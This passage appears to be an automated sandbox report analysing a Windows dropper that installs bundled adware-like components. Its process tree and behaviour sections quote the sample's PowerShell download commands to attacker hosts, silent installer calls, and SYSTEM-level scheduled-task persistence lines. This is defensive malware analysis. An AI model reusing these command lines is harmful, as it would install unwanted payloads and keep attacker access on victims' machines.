      "52.222.149.160:80"
      "52.222.149.13:80"
      "52.222.149.46:80"
      "52.222.149.25:80"
      "52.222.149.32:80"
      "52.222.149.6:80"
      "203.205.151.234:80"
      source
      Network Traffic
      relevance
      1/10
    • Contains PDB pathways
      details
      "c:\CPK.pdb"
      "d:\beyond_buildbot\branch_slave\svn_dir\build\bin\pdb\Release\QQBrowser.pdb"
      "E:\code\UAC\UAC_CODE\Release\CC.pdb"
      "E:\code\PsTask\Ps_Install\Release\psi.pdb"
      "tracelog.pdb"
      "C:\sysint\Handle\Release\handle.pdb"
      "D:\git\SysInternals\ProcExp\Sys\Win32\Release\ProcExpDriver.pdb"
      "D:\git\SysInternals\ProcExp\Sys\x64\Release\ProcExpDriver.pdb"
      source
      String
      relevance
      1/10
    • Creates a writable file in a temporary directory
      details
      "QQBrowser.exe" created file "%TEMP%\HomePage.dat"
      source
      API Call
      relevance
      1/10
    • Creates mutants
      details
      "\Sessions\1\BaseNamedObjects\Local\ZonesCounterMutex"
      "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex"
      "\Sessions\1\BaseNamedObjects\Local\ZoneAttributeCacheCounterMutex"
      "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex"
      "Local\ZonesLockedCacheCounterMutex"
      "Local\ZoneAttributeCacheCounterMutex"
      "Local\ZonesCounterMutex"
      "Local\ZonesCacheCounterMutex"
      "\Sessions\1\BaseNamedObjects\RasPbFile"
      "\Sessions\1\BaseNamedObjects\Global\.net clr networking"
      "\Sessions\1\BaseNamedObjects\{C20CD437-BA6D-4ebb-B190-70B43DE3B0F3}"
      "\Sessions\1\BaseNamedObjects\_SHuassist.mtx"
      source
      Created Mutant
      relevance
      3/10
    • Drops files marked as clean
      details
      Antivirus vendors marked dropped file "ttttt.exe" as clean (type is "PE32 executable (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "hhhhh.exe" as clean (type is "PE32 executable (console) Intel 80386 for MS Windows")
      source
      Binary File
      relevance
      10/10
    • GETs files from a webserver
      details
      "GET /v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=visit.winsap.work&update3=version,2.8.12 HTTP/1.1
      Connection: Keep-Alive
      User-Agent: WinSAP_http /1.4
      Host: d3i1asoswufp5k.cloudfront.net"
      "GET /winsap/up?ptid=winsap&sid=winsap&ln=en_us&ver=2.8.12&uid=VBOXXHARDDISK_VB47a275fd-833fcbff&dp=0 HTTP/1.1
      Connection: Keep-Alive
      User-Agent: WinSAP_http /1.4
      Host: dc44qjwal3p07.cloudfront.net"
      "GET /v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=ClearLog.install.finish HTTP/1.1
      Host: d4c04g24ci6x7.cloudfront.net
      Connection: Keep-Alive"
      "GET /provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.startload HTTP/1.1
      Host: d2hrpnfyb3wv3k.cloudfront.net
      Connection: Keep-Alive"
      "GET /v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=winsnare.install.finish HTTP/1.1
      Host: d4c04g24ci6x7.cloudfront.net
      Connection: Keep-Alive"
      "GET /v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=WinSAP.install.finish HTTP/1.1
      Host: d4c04g24ci6x7.cloudfront.net
      Connection: Keep-Alive"
      "GET /v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.14 HTTP/1.1
      Host: raa.qwepoii.org
      Connection: Keep-Alive"
      "GET /v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.1 HTTP/1.1
      Host: dhxx2phjrf4w5.cloudfront.net
      Connection: Keep-Alive"
      "GET //v4//sofclean//vboxxharddisk_vb47a275fd-833fcbff?action=bbuc.1 HTTP/1.1
      Host: dfrs12kz9qye2.cloudfront.net
      Connection: Keep-Alive"
      "GET /v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.1 HTTP/1.1
      Host: raa.qwepoii.org
      Connection: Keep-Alive"
      "GET /v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.3 HTTP/1.1
      Host: raa.qwepoii.org
      Connection: Keep-Alive"
      "GET /search/z.php HTTP/1.1
      Accept: */*
      Accept-Encoding: gzip, deflate
      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
      Host: www.ourluckysites.com
      Connection: Keep-Alive"
      "GET /vboxxharddisk_vb47a275fd-833fcbff.dat HTTP/1.1
      User-Agent: DownlaodAndRun
      Host: api.suibianmaimaicom.com
      Cache-Control: no-cache"
      "GET /v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.0&update3=version,2.1.4 HTTP/1.1
      Host: raa.qwepoii.org
      Connection: Keep-Alive"
      "GET /index.php?uid=vboxxharddisk_vb47a275fd-833fcbff.dat HTTP/1.1
      User-Agent: DownlaodAndRun
      Host: api.suibianmaimaicom.com
      Cache-Control: no-cache
      Connection: Keep-Alive
      Cookie: __cfduid=d6c44effc3b3d6d6eb3745fc7c13c04e91493314634"
      "GET /vboxxharddisk_vb47a275fd-833fcbff/psgo/2.1.4 HTTP/1.1
      Host: ccc.qwepoii.org
      Connection: Keep-Alive"
      "GET /index.php?uid=vboxxharddisk_vb47a275fd-833fcbff&pid=psgo&ver=2.1.4 HTTP/1.1
      Host: ccc.qwepoii.org"
      "GET /229c19eea00c7d30a54cbf43ef8fb865 HTTP/1.1
      User-Agent: DownlaodAndRun
      Cache-Control: no-cache
      Connection: Keep-Alive
      Host: d3gacmsp3jwwnv.cloudfront.net"
      "GET /20170427_UPdateuuu.dat HTTP/1.1
      User-Agent: ASDGQERQTYQW/1.0
      Host: point.roseiloveyou.com"
      "GET /v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.ClearLog.1 HTTP/1.1
      Host: dhxx2phjrf4w5.cloudfront.net
      Connection: Keep-Alive"
      source
      Network Traffic
      relevance
      5/10
    • Loads the .NET runtime environment
      details
      "powershell.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\d40b99d82652dbbc000d378a824ae296\mscorlib.ni.dll" at 6A8C0000
      "powershell.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\d40b99d82652dbbc000d378a824ae296\mscorlib.ni.dll" at 67840000
      source
      Loaded Module
    • Process launched with changed environment
      details
      Process "powershell.exe" (Show Process) was launched with new environment variables: "MEOW="%SystemRoot%\system32\WindowsPowerShell\v1.0\""
      Process "msiexec.exe" (Show Process) was launched with missing environment variables: "MEOW"
      Process "powershell.exe" (Show Process) was launched with new environment variables: "MEOW="%SystemRoot%\system32\WindowsPowerShell\v1.0\""
      Process "CPK.exe" (Show Process) was launched with missing environment variables: "MEOW"
      Process "powershell.exe" (Show Process) was launched with new environment variables: "MEOW="%SystemRoot%\system32\WindowsPowerShell\v1.0\""
      Process "rundll32.exe" (Show Process) was launched with missing environment variables: "MEOW"
      Process "powershell.exe" (Show Process) was launched with new environment variables: "MEOW="%SystemRoot%\system32\WindowsPowerShell\v1.0\""
      Process "schtasks.exe" (Show Process) was launched with missing environment variables: "MEOW"
      Process "powershell.exe" (Show Process) was launched with new environment variables: "MEOW="%SystemRoot%\system32\WindowsPowerShell\v1.0\""
      Process "cmd.exe" (Show Process) was launched with missing environment variables: "MEOW"
      Process "powershell.exe" (Show Process) was launched with new environment variables: "MEOW="%SystemRoot%\system32\WindowsPowerShell\v1.0\""
      Process "cmd.exe" (Show Process) was launched with missing environment variables: "MEOW"
      Process "powershell.exe" (Show Process) was launched with new environment variables: "MEOW="%SystemRoot%\system32\WindowsPowerShell\v1.0\""
      Process "cmd.exe" (Show Process) was launched with missing environment variables: "MEOW"
      Process "powershell.exe" (Show Process) was launched with new environment variables: "MEOW="%SystemRoot%\system32\WindowsPowerShell\v1.0\""
      Process "schtasks.exe" (Show Process) was launched with missing environment variables: "MEOW"
      source
      Monitored Target
      relevance
      10/10
    • Runs shell commands
      details
      "cmd /c schtasks /Create /SC HOURLY /MO 3 /ST 00:37:00 /TN "Windows-PG" /TR "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe %WINDIR%\psgo\psgo.ps1" /RU "SYSTEM" /F /RL HIGHEST" on 2017-4-27.10:37:12.528
      "/c schtasks /Run /TN Milimili" on 2017-4-27.10:37:13.880
      "/c schtasks /Run /TN Windows-PG" on 2017-4-27.10:37:17.465
      source
      Monitored Target
      relevance
      5/10
    • Spawns new processes
      details
      Spawned process "rundll32.exe" with commandline ""C:\Updater_20170427_newmm.exe.dll",UPDATE" (Show Process)
      Spawned process "rundll32.exe" with commandline ""C:\winsap_update\SSS.dll",OFO" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=ClearLog.install.finish','%TEMP%\csp8203.tmp')" (Show Process)
      Spawned process "rundll32.exe" with commandline ""C:\winsap_update\WinSAP.dll",afxxx -update" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=WinSAP.install.finish','%TEMP%\csp8E4D.tmp')" (Show Process)
      Spawned process "msiexec.exe" with commandline "/i "C:\winsap_update\Snarer.msi" /qn" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=winsnare.install.finish','%TEMP%\cspB165.tmp')" (Show Process)
      Spawned process "CPK.exe" with commandline "-ns" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient;$client.DownloadFile('http://d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.startload','11')" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient;$client.DownloadFile('http://d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.install.true','33')" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=CPK.install.finish','%TEMP%\csp379D.tmp')" (Show Process)
      Spawned process "rundll32.exe" with commandline ""C:\winsap_update\psi.dll",I" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=psgo.install.finish','%TEMP%\csp3939.tmp')" (Show Process)
      Spawned process "rundll32.exe" with commandline ""C:\winsap_update\UAC.dll",UUU" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=UUUCC.install.finish','%TEMP%\csp3CB5.tmp')" (Show Process)
      Spawned process "rundll32.exe" with commandline ""C:\winsap_update\MIO.dll",Help i" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=mio.install.finish','%TEMP%\csp4104.tmp')" (Show Process)
      Spawned process "QQBrowser.exe" with commandline "-ptid=che0812 -silence" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=QQBrowser.install.finish','%TEMP%\csp4693.tmp')" (Show Process)
      Spawned process "rundll32.exe" with commandline ""C:\winsap_update\kokoko.dll",Kitty" (Show Process)
      source
      Monitored Target
      relevance
      3/10
  • Installation/Persistance
    • Connects to LPC ports
      details
      "CPK.exe" connecting to "\ThemeApiPort"
      "QQBrowser.exe" connecting to "\ThemeApiPort"
      source
      API Call
      relevance
      1/10
    • Dropped files
      details
      "CJ" has type "ASCII text with CRLF line terminators"
      "psg11ED.tmp" has type "ASCII text with no line terminators"
      "ttttt.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"
      "DoDKP.dat" has type "data"
      "JPHPDMPB23QDSETFRLI7.temp" has type "data"
      "1NXEPLXS78PRAH14YYX6.temp" has type "data"
      "P1S8K0IE3SWGQ9LCPX15.temp" has type "data"
      "UTSSTK84E2SCFKVMJLUP.temp" has type "data"
      "AFR7NC8QHZCRYOJYIYOF.temp" has type "data"
      "V8SU1PUUOJ65NIVLVOW9.temp" has type "data"
      "HomePage.dat" has type "ASCII text with no line terminators"
      "QUG9K5DZVDL4ZA7RU41L.temp" has type "data"
      "UAC.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
      "pc64.cfg" has type "ASCII text with CRLF line terminators"
      "hhhhh.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"
      "psgD63A.tmp" has type "ASCII text with no line terminators"
      "SWFGSQZAOR21ECTWV23E.temp" has type "data"
      "cc740C.tmp" has type "7-zip archive data version 0.4"
      "cswD966.tmp" has type "ASCII text with no line terminators"
      "DataBase" has type "COM executable for DOS"
      source
      Binary File
      relevance
      3/10
    • Touches files in the Windows directory
      details
      "rundll32.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches"
      "rundll32.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db"
      "rundll32.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db"
      "rundll32.exe" touched file "%APPDATA%\Microsoft\Windows\Start Menu\desktop.ini"
      "rundll32.exe" touched file "%APPDATA%\Microsoft\Windows\Start Menu"
      "rundll32.exe" touched file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\desktop.ini"
      "rundll32.exe" touched file "C:\winsap_update\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk"
      "rundll32.exe" touched file "%WINDIR%\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk\desktop.ini"
      "rundll32.exe" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu"
      "rundll32.exe" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs"
      "rundll32.exe" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Accessories"
      "rundll32.exe" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk"
      "rundll32.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations"
      "rundll32.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files"
      "rundll32.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies"
      "rundll32.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History"
      "rundll32.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat"
      "rundll32.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies\index.dat"
      "rundll32.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History\History.IE5\index.dat"
      "rundll32.exe" touched file "%APPDATA%\Microsoft\Windows\IETldCache\index.dat"
      source
      API Call
      relevance
      7/10
  • Network Related
    • Found potential URL in binary/memory
      details
      Heuristic match: "Zw;DW&.NL"
      Heuristic match: "#kRae.Aw"
      Pattern match: "https://crbug.com/368855"
      Pattern match: "http://api.suibianmaimaicom.com/"
      Pattern match: "http://dhxx2phjrf4w5.cloudfront.net/v4/"
      Pattern match: "https://*.google.com/*"
      Pattern match: "http://*/*"
      Pattern match: "https://*/*"
      Heuristic match: "{
      // Extension ID: nkeimhogjdpnpccoofpliimaahmaaome
      key: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDAQt2ZDdPfoSe/JI6ID5bgLHRCnCu9T36aYczmhw/tnv6QZB2I6WnOCMZXJZlRdqWc7w9jo4BWhYS50Vb4weMfh/I0On7VcRwJUgfAxW2cHB+EkmtI1v4v/OU24OqIa1Nmv9uRVeX0GjhQukdLNhAE6A"
      Heuristic match: "tem.Ne"
      Pattern match: "d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=C"
      Pattern match: "http://polymer.github.io/PATENTS.txt"
      Pattern match: "https://www.w3.org/TR/web-animations-1/#animation"
      Pattern match: "http://polymer.github.io/LICENSE.txt"
      Pattern match: "http://polymer.github.io/AUTHORS.txt"
      Pattern match: "ymer.github.io/AUTHORS.txt"
      Pattern match: "http://polymer.github.io/CONTRIBUTORS.txt"
      Pattern match: "http://polymer.github.io/P"
      Pattern match: "d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&"
      Pattern match: "d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=p"
      Pattern match: "d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=U"
      Pattern match: "d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=m"
      Pattern match: "http://www.ourluckysites.com/?type=hp&ts=1493314713&z=4efc9b754986ee2f2a87012g2zbt4c1c6g6z7q2c8o&from=che0812&uid=VBOXXHARDDISK_VB47a275fd-833fcbff"
      Pattern match: "d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=Q"
      Pattern match: "d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=G"
      Pattern match: "raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.4"
      Pattern match: "dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=m"
      Pattern match: "raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.6"
      Heuristic match: "d3i1asoswufp5k.cloudfront.net"
      Heuristic match: "dc44qjwal3p07.cloudfront.net"
      Heuristic match: "d4c04g24ci6x7.cloudfront.net"
      Heuristic match: "d2hrpnfyb3wv3k.cloudfront.net"
      Heuristic match: "raa.qwepoii.org"
      Heuristic match: "dhxx2phjrf4w5.cloudfront.net"
      Heuristic match: "dfrs12kz9qye2.cloudfront.net"
      Pattern match: "www.ourluckysites.com"
      Heuristic match: "api.suibianmaimaicom.com"
      Heuristic match: "ccc.qwepoii.org"
      Heuristic match: "d3gacmsp3jwwnv.cloudfront.net"
      Heuristic match: "point.roseiloveyou.com"
      Heuristic match: "d1cik3fvaz5q0e.cloudfront.net"
      Heuristic match: "cloud.firefox1.com"
      Heuristic match: "d34cz67a0qhhno.cloudfront.net"
      Heuristic match: "rcgi.video.qq.com"
      Pattern match: "www.sysinternals.com"
      Pattern match: "http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=ClearLog.install.finish','%TEMP%\csp8203.tmp"
      Pattern match: "http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=WinSAP.install.finish','%TEMP%\csp8E4D.tmp"
      Pattern match: "http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=winsnare.install.finish','%TEMP%\cspB165.tmp"
      Pattern match: "http://d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.startload','11"
      Pattern match: "http://d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.install.true','33"
      Pattern match: "http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=CPK.install.finish','%TEMP%\csp379D.tmp"
      Pattern match: "http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=psgo.install.finish','%TEMP%\csp3939.tmp"
      Pattern match: "http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=UUUCC.install.finish','%TEMP%\csp3CB5.tmp"
      Pattern match: "http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=mio.install.finish','%TEMP%\csp4104.tmp"
      Pattern match: "http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=QQBrowser.install.finish','%TEMP%\csp4693.tmp"
      Pattern match: "http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=GubedZL.install.finish','%TEMP%\csp508D.tmp"
      Pattern match: "http://dfrs12kz9qye2.cloudfront.net//v4//sofclean//vboxxharddisk_vb47a275fd-833fcbff?action=bbuc.1','%TEMP%\ucD52C.tmp"
      Pattern match: "http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.14','%TEMP%\psgD63A.tmp"
      Pattern match: "http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.1','%TEMP%\cswD966.tmp"
      Pattern match: "http://api.suibianmaimaicom.com/vboxxharddisk_vb47a275fd-833fcbff.dat"
      Pattern match: "http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.1','%TEMP%\psg11ED.tmp"
      Pattern match: "http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.3','%TEMP%\psg1B52.tmp"
      Pattern match: "http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.4','%TEMP%\psg256B.tmp"
      Pattern match: "http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.4','%TEMP%\csw263B.tmp"
      Pattern match: "http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.6','%TEMP%\psg36A2.tmp"
      Pattern match: "http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mid.3','%TEMP%\csw3C06.tmp"
      Pattern match: "www.microsoft.com/exporting"
      Pattern match: "http://www.microsoft.com/exporting"
      source
      String
      relevance
      10/10
    • HTTP request contains Base64 encoded artifacts
      details
      "T\p2)Px|w"
      "W {-jY_x"
      "0<`zA{_5"
      "+"dZ", "){-jY_x", "1u|wm", "1u|w", "NvBEptCy@:", "+"dZ"
      "+"J]jZ)j:", "NvBEptCy@:", "+"d{-jY^"
      source
      Network Traffic
      relevance
      7/10
  • Spyware/Information Retrieval
  • System Security

File Details

All Details:

Updater_20170427_newmm.exe

Filename
Updater_20170427_newmm.exe
Size
8.1MiB (8501760 bytes)
Type
pedll executable
Description
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Architecture
WINDOWS
SHA256
6db4ad50b796b44d56b96f9b4cf8f9ff727258bdcc55fe074d1f083c8af0bfdfCopy SHA256 to clipboard
MD5
39a61141c6534f2dd5dc4a8b80e941cdCopy MD5 to clipboard
SHA1
b0edf0432cf42b54ca5dae22a6c109cbbe943407Copy SHA1 to clipboard

Resources

Icon
Sample Icon

Visualization

Input File (PortEx)
PE Visualization

Screenshots

Loading content, please wait...

Hybrid Analysis

Tip: Click an analysed process below to view more details.

Analysed 38 processes in total (System Resource Monitor).

  • RunDLL "C:\Updater_20170427_newmm.exe.dll" (PID: 3096)
    • rundll32.exe "C:\Updater_20170427_newmm.exe.dll",UPDATE (PID: 2632)
      • rundll32.exe "C:\winsap_update\SSS.dll",OFO (PID: 3340)
      • powershell.exe $client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=ClearLog.install.finish','%TEMP%\csp8203.tmp') (PID: 3364)
      • rundll32.exe "C:\winsap_update\WinSAP.dll",afxxx -update (PID: 3604)
      • powershell.exe $client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=WinSAP.install.finish','%TEMP%\csp8E4D.tmp') (PID: 3380)
      • msiexec.exe /i "C:\winsap_update\Snarer.msi" /qn (PID: 3960)
      • powershell.exe $client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=winsnare.install.finish','%TEMP%\cspB165.tmp') (PID: 976)
      • CPK.exe -ns (PID: 1036) 9/62
        • powershell.exe $client = new-object System.Net.WebClient;$client.DownloadFile('http://d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.startload','11') (PID: 3836)
        • powershell.exe $client = new-object System.Net.WebClient;$client.DownloadFile('http://d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.install.true','33') (PID: 1796)
      • powershell.exe $client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=CPK.install.finish','%TEMP%\csp379D.tmp') (PID: 2488)
      • rundll32.exe "C:\winsap_update\psi.dll",I (PID: 2508)
        • powershell.exe $client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.14','%TEMP%\psgD63A.tmp') (PID: 3888)
        • powershell.exe $client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.1','%TEMP%\psg11ED.tmp') (PID: 3260)
        • powershell.exe $client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.3','%TEMP%\psg1B52.tmp') (PID: 3424)
        • powershell.exe $client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.4','%TEMP%\psg256B.tmp') (PID: 3596)
        • cmd.exe cmd /c schtasks /Create /SC HOURLY /MO 3 /ST 00:37:00 /TN "Windows-PG" /TR "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe %WINDIR%\psgo\psgo.ps1" /RU "SYSTEM" /F /RL HIGHEST (PID: 3332)
          • schtasks.exe schtasks /Create /SC HOURLY /MO 3 /ST 00:37:00 /TN "Windows-PG" /TR "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe %WINDIR%\psgo\psgo.ps1" /RU "SYSTEM" /F /RL HIGHEST (PID: 2076)
        • powershell.exe $client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.6','%TEMP%\psg36A2.tmp') (PID: 2408)
        • cmd.exe /c schtasks /Run /TN Windows-PG (PID: 2200)
      • powershell.exe $client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=psgo.install.finish','%TEMP%\csp3939.tmp') (PID: 308)
      • rundll32.exe "C:\winsap_update\UAC.dll",UUU (PID: 1976)
        • powershell.exe $client = new-object System.Net.WebClient;$client.DownloadFile('http://dfrs12kz9qye2.cloudfront.net//v4//sofclean//vboxxharddisk_vb47a275fd-833fcbff?action=bbuc.1','%TEMP%\ucD52C.tmp') (PID: 3776)
      • powershell.exe $client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=UUUCC.install.finish','%TEMP%\csp3CB5.tmp') (PID: 2596)
      • rundll32.exe "C:\winsap_update\MIO.dll",Help i (PID: 2604)
        • powershell.exe $client = new-object System.Net.WebClient; $client.DownloadFile('http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.1','%TEMP%\cswD966.tmp') (PID: 3064)
        • schtasks.exe schtasks /Create /SC HOURLY /MO 2 /ST 09:45:00 /TN "Milimili" /TR "\"%PROGRAMFILES%\MIO\MIO.exe\" -bindurl http://api.suibianmaimaicom.com/vboxxharddisk_vb47a275fd-833fcbff.dat cmd=" /RU "SYSTEM" /F /RL HIGHEST (PID: 3736)
